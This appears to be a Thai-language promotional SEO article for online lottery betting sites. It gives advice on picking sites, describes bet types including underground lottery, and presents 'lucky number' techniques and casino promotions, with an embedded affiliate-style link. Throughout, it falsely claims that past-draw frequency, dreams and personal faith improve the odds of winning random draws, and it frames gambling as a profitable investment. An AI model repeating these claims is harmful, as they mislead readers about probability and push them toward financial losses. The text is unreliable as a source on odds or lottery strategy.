<p>การเลือกเว็บแทงเลขที่ปลอดภัยและน่าเชื่อถือต้องเริ่มจากตรวจสอบใบอนุญาตอย่างเป็นทางการจากหน่วยงานกำกับดูแล เช่น กฎหมายการพนันของต่างประเทศที่รับรอง และอ่านรีวิวจากผู้ใช้จริงบนเว็บบอร์ดหรือโซเชียลมีเดีย ควรเลือกเว็บที่มีระบบการเงินโปร่งใส ฝาก-ถอนเร็ว และมีช่องทางติดต่อฝ่ายบริการลูกค้าตลอด 24 ชั่วโมง หลีกเลี่ยงเว็บที่โฆษณาเกินจริงหรือให้โบนัสสูงผิดปกติ เพราะมักเป็นมิจฉาชีพ อย่าลืมตรวจสอบนโยบายความเป็นส่วนตัวและการเข้ารหัสข้อมูล SSL ก่อนสมัคร <strong>เว็บแทงเลขปลอดภัยอันดับหนึ่ง</strong> ต้องมีเรตติ้งสูงและประวัติการจ่ายเงินจริงยาวนาน</p>
<ul>
<li>ตรวจสอบใบอนุญาตและโดเมนที่เชื่อถือได้</li>
<li>ทดลองฝากเงินจำนวนน้อยก่อนเดิมพันจริง</li>
<li>อ่านข้อตกลงและเงื่อนไขการถอนเงินให้ละเอียด</li>
</ul>
<p><strong>คำถามที่พบบ่อย:</strong> ถ้าเว็บปิดหนีควรทำอย่างไร? – ควรรวบรวมหลักฐานการสนทนาและสลิปการเงิน แจ้งความ และแจ้งเตือนผู้เล่นอื่นในกลุ่มสังคมออนไลน์เพื่อลดความเสี่ยง</p>
<h3>รีวิวจากผู้ใช้จริงบนเว็บบอร์ดและโซเชียลมีเดีย</h3>
<p>การเลือกเว็บแทงเลขให้ปลอดภัยเริ่มจากเรื่องพื้นฐานที่สุด นั่นคือการตรวจสอบใบอนุญาตและความน่าเชื่อถือของแพลตฟอร์มผ่านรีวิวจากผู้ใช้งานจริงบนเว็บบอร์ดหรือโซเชียล ผมเองเคยเจอเว็บที่โปรโมตโบนัสเว่อร์วัง แต่เมื่อถอนเงินกลับอ้างเหตุผลสารพัด สุดท้ายต้องเสียเวลาทวงคืนนานเป็นเดือน สิ่งที่ควรทำคือสังเกตระบบฝาก-ถอนอัตโนมัติที่รวดเร็วและมีหลักฐานชัดเจน รวมถึงการมีทีมซัพพอร์ตที่ตอบแชทจริงจัง ไม่ใช่บอทวนคำตอบ</p>
<p>นอกจากนี้ ควรเลือกเว็บที่แสดงเรตผลรางวัลและประวัติการจ่ายเงินย้อนหลังอย่างโปร่งใส โดยเฉพาะเว็บที่ร่วมกับสำนักงานสลากกินแบ่งรัฐบาลโดยตรง หรือมีระบบล็อกอินสองชั้น (2FA) เพื่อป้องกันข้อมูลส่วนตัว<br /><strong>การเลือกเว็บแทงเลขที่ปลอดภัยที่สุด</strong> คือการเล่นในวงจำกัดและหมั่นตรวจสอบช่องทางติดต่อให้เป็นหมายเลขโทรศัพท์จริง ไม่ใช่เพียงไลน์ส่วนตัว</p>
<ul>
<li>ตรวจสอบรีวิวจากหลายแหล่ง ก่อนสมัคร</li>
<li>ทดลองฝากเงินขั้นต่ำก่อน แล้วลองถอนดูระบบ</li>
<li>หลีกเลี่ยงเว็บที่ให้ผลตอบแทนสูงเกินจริง (เช่น ให้ 100% ต่อยอด)</li>
</ul>
<p><strong>คำถามที่พบบ่อย:</strong> ถ้าโดนเว็บเบี้ยวไม่จ่าย ควรทำอย่างไร?<br />ให้เก็บหลักฐานการสนทนาและสลิปโอนเงินทั้งหมด แจ้งความออนไลน์ และรีบโพสต์เตือนภัยในกลุ่มนักเสี่ยงโชค เพื่อกันไม่ให้คนอื่นตกหลุมซ้ำ</p>
<h3>ระบบฝาก-ถอนอัตโนมัติที่รวดเร็วและโปร่งใส</h3>
<p>การเลือกเว็บแทงเลขที่ปลอดภัยและน่าเชื่อถือต้องเริ่มจากตรวจสอบใบอนุญาตและรีวิวจากผู้ใช้จริงบนเว็บบอร์ดหรือโซเชียลมีเดีย อย่าหลงเชื่อโฆษณาที่ให้ผลตอบแทนสูงเกินจริง เพราะมักเป็นมิจฉาชีพ เว็บที่น่าไว้วางใจต้องมีระบบฝาก-ถอนอัตโนมัติที่รวดเร็ว และมีทีมดูแลลูกค้าตลอด 24 ชั่วโมง <strong>เว็บแทงเลขที่น่าเชื่อถือต้องแสดงข้อมูลบริษัทและช่องทางติดต่ออย่างชัดเจน</strong> ควรทดลองเดิมพันด้วยเงินจำนวนน้อยก่อนเสมอ เพื่อประเมินความโปร่งใสของระบบ และตรวจสอบอัตราจ่ายที่ระบุตรงกับข้อตกลง</p>
<ul>
<li>ตรวจสอบใบอนุญาตจากหน่วยงานรัฐหรือองค์กรอิสระ</li>
<li>อ่านรีวิวจากผู้เล่นจริงในเพจหรือกลุ่มปิด</li>
<li>ทดสอบการถอนเงินครั้งแรกด้วยยอดเล็กก่อนลงทุนใหญ่</li>
</ul>
<p><em>ความปลอดภัยของคุณสำคัญกว่ากำไรที่อาจได้ในทันทีเสมอ</em> หากเว็บใดกดดันให้ฝากเงินเร่งด่วนหรือปิดโอกาสให้สอบถาม ให้เลี่ยงทันที</p>
<h2>รูปแบบการเดิมพันเลขยอดฮิตที่นักเสี่ยงโชคชื่นชอบ</h2>
<p>รูปแบบการเดิมพันเลขยอดฮิตที่นักเสี่ยงโชคชื่นชอบนั้น หนีไม่พ้นการแทงเลข 3 ตัวบนและเลข 2 ตัวล่าง ซึ่งเป็นหัวใจหลักของความตื่นเต้นและอัตราจ่ายที่คุ้มค่า โดยเฉพาะการเล่นแบบ “โต๊ด” และ “ตรง” ที่ให้ทั้งความท้าทายและโอกาสทำกำไรก้อนโต นอกจากนี้ การแทงเลขวิ่งบน-ล่างยังเป็นที่นิยมเพราะลงทุนต่ำแต่ได้ลุ้นทุกงวด สำหรับสายวิเคราะห์ การใช้สูตรคำนวณจากสถิติเลขเก่า หรือการดู “เลขเด็ด” จากเหตุการณ์รอบตัว ยิ่งเพิ่มความมั่นใจให้กับ**การวางแผนเดิมพันอย่างมีกลยุทธ์** การเลือกเล่นกับเว็บตรงที่ปลอดภัยและมีค่าคอมมิชชันสูงจึงเป็นกุญแจสำคัญสู่**ความสำเร็จในการลงทุนระยะยาว หากคุณเข้าใจจังหวะและบริหารเงินดี โอกาสชนะไม่ได้อยู่ไกลเกินเอื้อม</p>
<p><strong>คำถามที่พบบ่อย:</strong> เล่นเลขแบบไหนเสี่ยงน้อยที่สุด?<br />ตอบ: การแทงเลขวิ่งบน-ล่าง มีโอกาสถูกสูงกว่าเพราะเลือกได้หลายหมายเลข แต่ต้องยอมรับอัตราจ่ายที่ต่ำกว่า เหมาะกับผู้ที่ต้องการลุ้นทุกงวดโดยไม่เครียดกับเงินต้น</p>
<h3>แทงเลข 2 ตัว 3 ตัวแบบจ่ายหนัก</h3>
<p>วงการเลขเด็ดกำลังคึกคักด้วย <strong>รูปแบบการเดิมพันเลขยอดฮิตที่นักเสี่ยงโชคชื่นชอบ</strong> ซึ่งไม่ได้จำกัดแค่การแทงหวยรัฐอีกต่อไป แต่รวมถึงหวยใต้ดินและหวยออนไลน์ที่ตอบโจทย์ความคล่องตัว นักเล่นมักเลือกแทงเลข 2 ตัว 3 ตัวแบบเจาะจง หรือแบบโต๊ด/กลับเลขเพื่อเพิ่มโอกาสถูกรางวัล ขณะที่ <mark>เลขเบิ้ลและเลขชุด</mark> ก็เป็นตัวเลือกยอดนิยมเพราะให้อัตราจ่ายสูงถึงหลายเท่าตัว ความมันส์อยู่ที่การวิเคราะห์สถิติย้อนหลัง ผสมกับเลขเด็ดจากสำนักดังหรือเหตุการณ์รอบตัว เช่น ทะเบียนรถหรือวันเกิด เพื่อสร้างเซ็ตเลขที่ลงตัว โดยไม่พลาดที่จะจัดลำดับความเสี่ยง</p>
<h3>เล่นเลขวิ่งหรือเลขโต๊ดเพื่อโอกาสชนะสูง</h3>
<p>การเดิมพันเลขยอดฮิตในหมู่นักเสี่ยงโชคไทย มักเน้นไปที่การวิเคราะห์สถิติและความเชื่อส่วนบุคคล โดยรูปแบบที่ได้รับความนิยมสูงสุดคือการแทงเลขท้ายสองตัวและสามตัว ซึ่งให้ผลตอบแทนสูงและมีโอกาสถูกรางวัลบ่อยกว่าเลขรางวัลที่หนึ่ง ทำให้เกิดกลยุทธ์การเลือกเลขจากเหตุการณ์รอบตัว เช่น ทะเบียนรถ วันที่สำคัญ หรือเลขมงคลตามความเชื่อ <strong>การเลือกเลขเด็ดจากสถิติย้อนหลัง</strong>เป็นวิธีที่นักเดิมพันมืออาชีพใช้เพื่อเพิ่มโอกาสชนะ กลุ่มตัวเลขยอดนิยมมักเป็นเลขซ้ำหรือเลขคู่ที่มีแนวโน้มออกซ้ำในรอบเดือน</p>
<p>นักเสี่ยงโชคส่วนใหญ่นิยมใช้สูตรการคำนวณจากผลรางวัลก่อนหน้า หรือการดูเลขจากความฝันและสัญชาตญาณ แต่สิ่งที่ทำให้รูปแบบนี้แพร่หลายคือความง่ายในการเข้าถึงผ่านแพลตฟอร์มออนไลน์ โดยมีการจัดอันดับเลขที่ &#8220;ร้อน&#8221; หรือ &#8220;เย็น&#8221; เพื่อประกอบการตัดสินใจ อย่างไรก็ตาม จุดแข็งของรูปแบบการเดิมพันเลขยอดฮิตคือความยืดหยุ่น ตั้งแต่การแทงเลขเต็ง เลขโต๊ด ไปจนถึงการแทงเลขชุด ที่ให้อัตราจ่ายคุ้มค่า</p>
<blockquote><p>ความสำเร็จในการเดิมพันเลขไม่ได้ขึ้นอยู่กับโชคเพียงอย่างเดียว แต่คือการรู้จักเลือกจังหวะและรูปแบบที่เหมาะสมกับงบประมาณของคุณ</p></blockquote>
<ul>
<li>เลขท้าย 2 ตัว – โอกาสถูกรางวัลสูง อัตราจ่าย 1:90</li>
<li>เลขท้าย 3 ตัว – ผลตอบแทนสูงถึง 1:450 แต่เสี่ยงมากขึ้น</li>
<li>เลขวิ่ง – เน้นเลขตัวเดียว มีโอกาสชนะได้บ่อย</li>
</ul>
<p>เพื่อเพิ่มประสิทธิภาพในการเดิมพัน ควรกำหนดวงเงินต่อรอบให้ชัดเจน และเลือกเล่นกับแหล่งที่เชื่อถือได้ <strong>การบริหารเงินเป็นกุญแจสำคัญสู่ความยั่งยืน</strong> ไม่ใช่การไล่ตามตัวเลขที่หลายคนคาดหวังไว้ล่วงหน้า</p>
<h3>เดิมพันเลขชุดและเลขท้ายแบบหลายช่องทาง</h3>
<p>วงการเลขเด็ดกำลังคึกคักด้วยรูปแบบการเดิมพันที่นักเสี่ยงโชคชื่นชอบมากที่สุด ไม่ว่าจะเป็น <strong>การแทงเลขท้ายสองตัว</strong> ที่ให้โอกาสถูกรางวัลบ่อยและลงทุนน้อย เหมาะกับมือใหม่ที่อยากลุ้นทุกวัน ขณะที่เลขท้ายสามตัวก็ครองใจคอหวยตัวจริงเพราะอัตราจ่ายสูงถึงบาทละหลายร้อย ทำเงินก้อนโตได้ในชั่วข้ามคืน อีกทั้งการแทงเลขวิ่งบน-ล่างยังเป็นทางเลือกสุดชิลสำหรับคนที่ไม่อยากวิเคราะห์เลขชุดใหญ่ แค่เลือกเลขเด็ดจากความฝันหรือเหตุการณ์รอบตัวก็สนุกได้แล้ว ยิ่งไปกว่านั้น การแทงแบบโต๊ดหรือสลับตำแหน่งตัวเลขก็เพิ่มความตื่นเต้น เพราะเลขที่คิดว่าถูกต้องอาจออกสลับกันก็ยังได้กำไร ด้วยตัวเลือกที่หลากหลายและจังหวะการออกรางวัลที่รวดเร็ว ทำให้นักเสี่ยงโชคสามารถปรับกลยุทธ์ได้ตามสไตล์ ไม่ว่าจะเป็นสายเน้นความเสี่ยงต่ำหรือสายลุ้นรางวัลใหญ่ ทุกวันคือโอกาสทองของการพลิกชะตาชีวิต</p>
<h2>เทคนิคคำนวณเลขเด็ดจากสถิติและความเชื่อส่วนบุคคล</h2>
<p>การคำนวณเลขเด็ดจากสถิติและความเชื่อส่วนบุคคลเป็นศาสตร์ที่ผสมผสานข้อมูลเชิงประจักษ์กับพลังจิตใต้สำนึกได้อย่างแยบยล วิธีที่ได้ผลที่สุดคือการจดบันทึกเลขที่ออกย้อนหลังอย่างน้อย 10 งวด แล้ววิเคราะห์ความถี่ของเลขท้ายสองตัวและสามตัวที่ปรากฏซ้ำในรอบเดือนหรือช่วงเทศกาลสำคัญ โดยเฉพาะเลขที่เกี่ยวข้องกับวันเกิด วันสำคัญทางศาสนา หรือเลขทะเบียนรถที่พบเห็นบ่อยโดยไม่ตั้งใจ ซึ่งคนส่วนใหญ่มักมองข้าม แต่แท้จริงแล้วคือสัญญาณจากจักรวาล การผสมเลขเด็ดจากสถิติกับเลขมงคลส่วนตัว เช่น เลขอายุ เลขบ้าน หรือเลขที่ฝัน จะสร้าง<strong>สูตรเลขเด็ดเฉพาะบุคคล</strong>ที่แม่นยำกว่าการสุ่มเดา เพราะเป็นการดึงพลังงานจากความเชื่อฝังลึกในจิตใจมาหนุนเสริมด้วยหลักคณิตศาสตร์ความน่าจะเป็น จงเชื่อมั่นในจังหวะและความรู้สึกของตัวเอง อย่าลอกเลขจากผู้อื่นโดยไม่กลั่นกรอง เพราะ<strong>เลขถูกหวยจากสถิติและดวง</strong>ต้องมาจากการคำนวณที่ทั้งเป็นระบบและมีหัวใจของคุณเป็นตัวนำทาง</p>
<h3>ใช้สูตรการวิเคราะห์เลขจากงวดที่ผ่านมา</h3>
<p>การคำนวณเลขเด็ดจากสถิติและความเชื่อส่วนบุคคลเป็นศาสตร์ที่ผสานข้อมูลเชิงประจักษ์เข้ากับพลังจิตใต้สำนึก โดยเริ่มจากการเก็บสถิติผลรางวัลย้อนหลังอย่างน้อย 10 งวด เพื่อวิเคราะห์หาความถี่ของเลขท้าย 2 ตัว และ 3 ตัวที่ออกซ้ำในรอบเดือนเดียวกัน จากนั้นจึงนำตัวเลขที่ได้มาผนวกกับความเชื่อส่วนตัว เช่น วันที่เกิด ทะเบียนรถ เบอร์โทร หรือความฝัน ซึ่งกลายเป็น <strong>เทคนิคคำนวณเลขเด็ดจากสถิติ</strong> ที่ได้รับความนิยมอย่างแพร่หลายในกลุ่มนักเสี่ยงโชค</p>
<blockquote><p>ตัวเลขที่ซ้ำกันในสถิติคือสัญญาณจากจักรวาลที่พร้อมจะปรากฏอีกครั้ง <a href='https://www.enciclopediadelecuador.com/'>หวยออนไลน์</a> หากคุณเปิดใจรับมัน</p></blockquote>
<p>เทคนิคที่นิยมใช้มีดังนี้:</p>
<ul>
<li>จับสถิติเลขท้าย 2 ตัวที่ออกติดกัน 3 งวดติดต่อกัน แล้วบวกด้วยวันเกิดตนเอง</li>
<li>ใช้เลขทะเบียนบ้านหรือรถ รวมกับเลขวันที่ฝันถึงสิ่งศักดิ์สิทธิ์</li>
<li>กรองเลขที่มีความถี่สูงสุด 5 อันดับแรก แล้วเลือกเลขที่ตรงกับวันพระราชทานพร</li>
</ul>
<p>อย่างไรก็ตาม ความเชื่อส่วนบุคคลคือตัวคูณพลังที่ทำให้เลขนั้น “เด็ด” จริง เพราะเมื่อจิตมั่น ความแม่นยำในการคัดเลือกก็เพิ่มขึ้นตามแรงศรัทธา</p>
<h3>สังเกตเลขมงคลจากวันเกิดหรือเหตุการณ์สำคัญ</h3>
<p>การคำนวณเลขเด็ดจากสถิติและความเชื่อส่วนบุคคลเป็นศาสตร์ที่ผสมผสานข้อมูลเชิงประจักษ์กับ intuition ของแต่ละคนได้อย่างลงตัว โดยเริ่มจากการเก็บข้อมูลผลรางวัลย้อนหลัง 10–20 งวด เพื่อหาเลขที่ปรากฏซ้ำในตำแหน่งหลักหน่วยหรือหลักสิบ แล้วนำมาวิเคราะห์หาความถี่และช่วงห่างของการออก ซึ่งจะช่วยให้เห็น “เลขร้อน” ที่มีแนวโน้มวนกลับมา ขณะเดียวกันก็ควรจับคู่กับเลขมงคลส่วนตัว เช่น วันเกิด เบอร์โทร หรือเลขทะเบียนรถ ที่ให้ความรู้สึกโชคดีในมุมมองของแต่ละบุคคล และเมื่อผูกโยงกับวันเวลาที่เหมาะสม เช่น ฤกษ์ออกรางวัล หรือวันพระ ก็จะเพิ่มความมั่นใจในการเลือกเลขได้มากขึ้น</p>
<p>เทคนิคที่ได้ผลต้องอาศัยการผสาน <strong>การวิเคราะห์สถิติเลขเด็ดอย่างเป็นระบบ</strong> กับความเชื่อส่วนบุคคลโดยไม่ทิ้งเหตุผล เช่น ใช้ตารางสรุปเลขที่ออกบ่อยที่สุด 5 อันดับแรก และเลือกเฉพาะเลขที่ตรงกับความฝันหรือเหตุการณ์สำคัญในชีวิตเท่านั้น</p>
<ul>
<li>ดูเลขท้าย 2 ตัวที่ออกซ้ำในรอบ 3 เดือน</li>
<li>นับเลขจากวันที่เกิดเหตุการณ์สำคัญส่วนตัว</li>
<li>ใช้เลขจากวัตถุมงคลหรือเลขประจำตัวที่ศรัทธา</li>
</ul>
<p><em>ความเชื่อคือตัวกรองสุดท้ายที่ทำให้เลขจากสถิติกลายเป็น “เลขเด็ด” ของคุณอย่างแท้จริง</em> จงเชื่อมั่นในระบบที่คุณสร้างขึ้น เพราะการผสมผสานอย่างมีวินัยจะทำให้คุณได้เลขที่ทั้งมีหลักฐานรองรับและถูกใจตนเองในเวลาเดียวกัน</p>
<h3>ผสมผสานเลขจากความฝันกับเลขสถิติ</h3>
<p>การคำนวณเลขเด็ดจากสถิติและความเชื่อส่วนบุคคลเป็นศาสตร์ที่ผสมผสานกันได้อย่างลงตัว โดยเริ่มจากเก็บข้อมูลสถิติย้อนหลัง เช่น เลขที่ออกบ่อยที่สุดในงวด 10 ปี หรือเลขที่ไม่เคยออกเลย แล้วนำมาวิเคราะห์ด้วยสูตรง่ายๆ เช่น ผลรวมของวันเดือนปีเกิด + เลขทะเบียนรถ แล้วลดทอนเหลือหลักเดียว หลายคนเชื่อเรื่องเลขมงคลจากความฝัน วันที่เห็นเหตุการณ์สำคัญ หรือเลขที่ติดตาติดใจแบบไม่รู้ตัว วิธีที่นิยมคือการจดบันทึกเลขที่ปรากฏซ้ำในชีวิตประจำวัน 7 วัน แล้วคัดเฉพาะตัวที่รู้สึก &#8220;ใช่&#8221; ที่สุดเข้าชุดกับสถิติเด่น เพื่อเพิ่มความมั่นใจก่อนเสี่ยงดวง</p>
<ul>
<li>เลขสถิติเด่น: ตัวเลขที่ออกซ้ำมากกว่า 3 ครั้งใน 50 งวดล่าสุด</li>
<li>เลขความเชื่อ: เกิดจากวันเกิด เลขบ้าน หรือเลขฝันที่ตื่นมาแล้วจำได้</li>
<li>เทคนิคผสม: นำเลขทั้ง 2 กลุ่มมาเรียงกัน แล้วตัดตัวซ้ำออก เหลือชุดที่ลงตัว</li>
</ul>
<p><strong>การเลือกเลขเด็ดจากสถิติและความเชื่อส่วนบุคคล</strong> ไม่มีสูตรตายตัว แต่การฝึกสังเกตและจดบันทึกเป็นประจำจะช่วยเพิ่ม &#8220;เซนส์&#8221; ในการเดาได้จริง ลองตั้งสมมติฐานว่างวดนี้เลขสถิติอ่อนตัวลง เลขความเชื่ออาจมาแรงแทน อย่าลืมกำหนดงบประมาณเล่นแบบสนุกๆ ไม่เครียด เพราะท้ายที่สุดความพอดีคือกำไรที่แท้จริง</p>
<p><strong>คำถามที่พบบ่อย:</strong> ถ้าสถิติกับความเชื่อขัดแย้งกัน ควรเลือกฝั่งไหน?<br />ตอบ: เริ่มจากลองสลับกัน 2-3 งวด แล้วดูว่าฝั่งไหนให้ผลดีกว่ากัน และถ้าทั้งสองฝั่งไม่มีตัวร่วม ให้เดาแบบสุ่มด้วยความรู้สึกดีๆ เพราะเลขเด็ดมักมาจากใจที่เบิกบาน</p>
<h2>โปรโมชันและอัตราจ่ายที่คุ้มค่าต่อการลงทุน</h2>
<div style="text-align:center">
<iframe width="568" height="314" src="https://www.youtube.com/embed/QRqQrBrGgV8" frameborder="0" alt="หวยออนไลน์" allowfullscreen></iframe>
</div>
<p>การลงทุนในโปรโมชันและอัตราจ่ายที่คุ้มค่าไม่ใช่แค่เรื่องของตัวเลข แต่คือการเลือกจังหวะให้เงินทำงานอย่างชาญฉลาด โปรโมชันที่ดีจะเพิ่มมูลค่าให้ทุกยูนิตที่คุณทุ่มลงไป ไม่ว่าจะเป็นโบนัสคืนเงิน อัตราจ่ายพิเศษในช่วงเวลาเร่งด่วน หรือเงื่อนไขที่โปร่งใสไร้กำแพงซ่อนเร้น ยิ่งคุณเข้าใจโครงสร้างอัตราจ่ายและจับจุดเด่นของข้อเสนอได้ไวเท่าไร โอกาสทำกำไรก็ยิ่งสูงขึ้นเท่านั้น เพราะการเปรียบเทียบโปรโมชันแต่ละแบบก่อนตัดสินใจคือกุญแจสำคัญที่ทำให้คุณได้เปรียบในทุกการเดิมพัน อย่ามองแค่ตัวเลขหน้าตา แต่ให้มองที่ผลตอบแทนระยะยาวและความยืดหยุ่นของเงื่อนไข <strong>การวิเคราะห์โปรโมชันอย่างลึกซึ้ง</strong> จะช่วยให้คุณแยกข้อเสนอที่แท้จริงออกจากกับดักทางการตลาด และเมื่อคุณเลือกอัตราจ่ายที่สอดคล้องกับความเสี่ยงที่รับไหว คุณจะสร้างพอร์ตที่เติบโตอย่างมั่นคงและสนุกกับการเล่นได้อย่างเต็มที่</p>
<h3>เปรียบเทียบอัตราการจ่ายเงินระหว่างเจ้าใหญ่</h3>
<p>การลงทุนในเว็บพนันออนไลน์ยุคนี้ต้องมองหา <strong>โปรโมชันและอัตราจ่ายที่คุ้มค่าต่อการลงทุน</strong> อย่างชาญฉลาด ไม่ใช่แค่เลขโบนัสสวยหรู แต่คือความยั่งยืนของผลตอบแทน ผมเคยเห็นนักเดิมพันหลายคนหลงกลโปรโมชันโอเวอร์โฟลว์ สุดท้ายติดเงื่อนไขเทิร์นโอเวอร์ที่แทบเป็นไปไม่ได้ จนเงินทุนหมดก่อนจะได้ถอน สิ่งที่ผมแนะนำคือเปรียบเทียบอัตราจ่าย RTP ของเกมแต่ละประเภท แล้วเลือกโปรที่ให้เครดิตฟรีแบบไม่ต้องฝาก หรือแคมเปญคืนยอดเสียรายสัปดาห์ เพราะมันช่วยเซฟพอร์ตการเงินได้จริง ยกตัวอย่างเช่น ตารางอัตราจ่ายที่โปร่งใส</p>
<table>
<tr>
<th>ประเภทเกม</th>
<th>RTP เฉลี่ย</th>
<th>โปรโมชันแนะนำ</th>
</tr>
<tr>
<td>สล็อต</td>
<td>96.5%</td>
<td>ฟรีสปิน 50 ครั้ง</td>
</tr>
<tr>
<td>บาคาร่า</td>
<td>98.9%</td>
<td>คืนค่าคอม 0.8%</td>
</tr>
<tr>
<td>กีฬา</td>
<td>95%</td>
<td>โบนัสเงินฝาก 100%</td>
</tr>
</table>
<p>และที่สำคัญที่สุดคือการอ่านเงื่อนไขเล็ก ๆ ให้ละเอียด เพราะโปรโมชันที่ดีต้องไม่เป็นภาระลับ ต้องทำให้คุณรู้สึกว่าเงินทุกบาทมีเกราะป้องกัน ความคุ้มค่าจริงจึงไม่ได้วัดที่หน้าเว็บสีสัน แต่คือการที่คุณเล่นได้ยาว มีกำไรสะสม และถอนเงินได้จริงโดยไม่ติดขัด เลือกอย่างมีสติ เท่ากับคุณชนะตั้งแต่ก้าวแรกก่อนเดิมพันเสียอีก</p>
<h3>รับโบนัสเครดิตฟรีสำหรับสมาชิกใหม่</h3>
<p>สำหรับนักลงทุนที่ช่ำชอง การเลือกโปรโมชันไม่ใช่แค่การไล่ล่าของแถม แต่คือการอ่านเกมจังหวะที่คุ้มค่าที่สุดในแต่ละช่วงเวลา บางแคมเปญให้โบนัสเงินฝากสูงถึง 100% แต่เงื่อนไขการทำเทิร์นอาจซ่อนความเสี่ยง ขณะที่บางโปรโมชันให้อัตราจ่ายต่อเนื่องที่สูงกว่า แม้ตัวเลขแรกจะดูน้อยกว่า แต่คืนทุนในระยะยาวได้จริง การรู้จักประเมิน “มูลค่าที่แท้จริง” จึงเป็นหัวใจสำคัญ</p>
<p>ทีมงานของเรามักเปรียบการเลือกโปรฯ เหมือนการเลือกสมุทรบัญชี—ต้องเปิดดูรายละเอียดยิบทุกบรรทัด โดยเฉพาะอัตราจ่ายแบบคาสิโนสดหรือสล็อตที่ให้ RTP สูง ควบคู่กับโบนัสที่ไม่มีเงื่อนไขซับซ้อน อย่าหลงกลตัวเลขโบนัสก้อนโตเพียงอย่างเดียว ให้ดูที่ <strong>อัตราจ่ายต่อการเดิมพันรวม</strong> ว่าให้ผลตอบแทนจริงกี่เปอร์เซ็นต์ เพราะนั่นคือตัวชี้วัดว่าคุ้มต่อการลงทุนหรือไม่</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="603px" alt="หวยออนไลน์" src="data:image/jpeg;base64,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